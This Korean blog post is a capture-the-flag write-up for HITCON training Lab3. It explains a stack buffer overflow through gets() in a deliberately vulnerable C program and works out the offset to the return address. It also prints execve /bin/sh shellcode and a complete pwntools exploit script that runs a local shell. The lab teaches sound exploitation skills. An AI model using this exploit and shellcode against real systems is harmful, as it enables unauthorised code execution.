Lab3. 오버플로 공격 기초

2020. 12. 5. 15:24문제연습/Hitcon training

반응형

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

 

Lab3. 오버플로 공격 기초

본 네이버 블로그는 모바일에 최적화되어 있습니다.PC 유저분들은 아래 티스토리 블로그를 이용해 주세요...

blog.naver.com

 

이번 문제는 오버플로를 이용한 쉘코드 공격입니다.

다른 문제보다는 비교적 개념이 간단하기에 조금 더 자세히 문제를 해설하도록 하겠습니다.

Go to the shell!!!

 

사전 개념 : return to shellcode

오버플로와 같은 취약점을 이용하여 함수의 return 주소를 shellcode가 있는 주소로 변조하여 해당 공격 코드를 실행하는 공격 기법

 

 

파일 분석

//ret2sc.c 소스코드 내용

#include <stdio.h>
char name[50];
int main(){
        setvbuf(stdout,0,2,0);
        printf("Name:");
        read(0,name,50);
        char buf[20];
        printf("Try your best:");
        gets(buf);
        return ;
}

 

다음으로 바이너리의 어셈블리어를 확인해 보도록 하겠습니다.

pdisas main

0x080484cd <+0>: push ebp
0x080484ce <+1>: mov ebp,esp
0x080484d0 <+3>: and esp,0xfffffff0
0x080484d3 <+6>: sub esp,0x30
0x080484d6 <+9>: mov eax,ds:0x804a040
0x080484db <+14>: mov DWORD PTR [esp+0xc],0x0
0x080484e3 <+22>: mov DWORD PTR [esp+0x8],0x2
0x080484eb <+30>: mov DWORD PTR [esp+0x4],0x0
0x080484f3 <+38>: mov DWORD PTR [esp],eax
0x080484f6 <+41>: call 0x80483c0 <setvbuf@plt>
0x080484fb <+46>: mov DWORD PTR [esp],0x80485d0
0x08048502 <+53>: call 0x8048380 <printf@plt>
0x08048507 <+58>: mov DWORD PTR [esp+0x8],0x32
0x0804850f <+66>: mov DWORD PTR [esp+0x4],0x804a060
0x08048517 <+74>: mov DWORD PTR [esp],0x0
0x0804851e <+81>: call 0x8048370 <read@plt>
0x08048523 <+86>: mov DWORD PTR [esp],0x80485d6
0x0804852a <+93>: call 0x8048380 <printf@plt>
0x0804852f <+98>: lea eax,[esp+0x1c]
0x08048533 <+102>: mov DWORD PTR [esp],eax
0x08048536 <+105>: call 0x8048390 <gets@plt>
0x0804853b <+110>: nop
0x0804853c <+111>: leave
0x0804853d <+112>: ret

 

소스코드를 확인해 볼 때 전역변수(배열)인 name이 존재합니다.

이후, read(0, name, 50);에서 read 함수로 name에 값을 50바이트 저장하고 gets(buf);로 buf 배열에 값을 입력받아 저장하게 되는데, get 함수는 입력 데이터에 대한 길이 검사가 없어서 오버플로가 발생할 수 있습니다.

 

만약 name에 쉘 코드를 삽입하고 get 함수로 return 주소를 name 주소로 변조한다면 우리가 원하는 쉘을 딸 수 있을 것입니다.

그럼 ret까지 덮어씌우기 위한 dummy 데이터 바이트 수를 계산해보도록 하겠습니다.

 

 

ret과 입력받는 buf까지의 거리를 알기 위해서는 어셈블리 코드에서 esp, ebp, buf의 주소와 관련된 부분을 유심히 살펴야 합니다.

 

0x080484cd <+0>: push ebp

0x080484ce <+1>: mov ebp,esp

0x080484d0 <+3>: and esp,0xfffffff0

0x080484d3 <+6>: sub esp,0x30

*

*

*

0x0804852f <+98>: lea eax,[esp+0x1c]

 

하나하나씩 해석해 보도록 하겠습니다.

 

1) push ebp, mov ebp,esp

-> 현재 스택에 ebp를 넣고 그 안에 값을 esp로 복사하고 있습니다. (한 칸당 4byte를 의미합니다.)

 

 

2) and esp,0xfffffff0

여기가 조금 주의해야 할 부분입니다. 아래 디버거로 확인한 모습입니다.

push ebp를 진행한 뒤의 ebp 값을 보면 ebp에는 0을 저장하고 있습니다.

esp에는 0xffb794c8 포인터를 가지고 있으므로 다음 코드인 mov ebp,esp를 실행하면 ebp는 0xffb794c8 값을 가지게 될 것입니다.

 

 

다음 코드 and esp,0xfffffff0에서 and 연산은 두 비트 모두 1이면 1을 반환하고 아니면 0을 반환합니다.

즉 현재 esp가 가지고 있는 값 0xffb794c8과 0xfffffff0을 and 연산하여 esp에 저장합니다.

연산의 결과는 0xffb794c0이 될 것입니다.

 

현재 스택을 도식화하면 다음과 같습니다.

즉, sub 어셈블리 없이도 esp가 ebp와 8byte 만큼의 격차가 나게 됩니다.

(이 부분을 정확하게 인지하고 있지 못해서 시간이 조금 걸렸습니다.)

 

다음 코드로 넘어가도록 하겠습니다.

 

 

3) sub esp,0x30

esp가 가진 값에서 0x30(=48) 만큼 빼서 esp에 저장합니다.

 

 

4) lea eax,[esp+0x1c]

get 함수로 인자인 buf의 공간이 시작되는 부분입니다.

 

 

공격 시나리오

지금까지의 정보를 종합하여 공격 시나리오를 작성하도록 하겠습니다.

1. name에 쉘 코드를 집어넣는다.

2. get 함수를 통해 buf에 32byte 더미 데이터로 채운 후 name 배열 주소를 입력하여 main 함수의 ret 주소를 조작한다.

 

위 공격을 성공시키기 위해서는 다음 요소가 필요합니다.

1. name 배열의 시작 주소.

2. ret을 name 배열로 덮어버리기 위한 dummy

3. 50byte 이하의 쉘코드 (name에 저장할 내용)

 

 

1. name 배열의 시작 주소

gdb 명령어 info variables을 이용하면 현재 상태의 모든 전역 변수들을 볼 수 있습니다.

맨 아래에 name의 시작 주소가 나오는군요.

NAME의 시작 주소 : 0x0804a06

 

 

2. dummy data

아까 우리가 파악한 스택 영역의 그림을 다시 보면, buf 입력 인자가 들어가는 부분이 esp+0x1c입니다.

즉, ret를 덮기 위한 dummy byte는 buf(4*5byte) + 격차(8byte) + sfp(4byte) = 32byte입니다.

 

 

3. 50byte 쉘 코드

이 코드는 인터넷에서 수집한 쉘 코드입니다.

다음에 시간 되면 쉘 코드를 만드는 과정도 포스팅하도록 하겠습니다.

일단 이번 문제에 사용할 가장 기본적인 쉘 코드입니다.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

 

위 내용을 활용해 pwntools로 공격 코드를 작성하였습니다.

from pwn import *

print("file active")
r=process('./ret2sc')

print("print protection")
ELF('./ret2sc')

payload1 = ''
payload1 += '\x90'*24 #그냥 nop으로 채움. 설계상 없어도 됨.
payload1 += '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89'
payload1 += '\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

name = 0x804a060

payload2 = 'A'*32
payload2 +=p32(name)

r.recvuntil(':')
r.sendline(payload1)

r.recvuntil(':')
r.sendline(payload2)

r.interactive()

 

 

실행 결과 성공적으로 쉘을 실행하였습니다.

문제가 간단할수록 분석하기 쉬워지기에 기본을 다지는 데는 아주 좋은 문제인 듯합니다.

다음 시간에는 lab4를 풀어보도록 하겠습니다.

 

반응형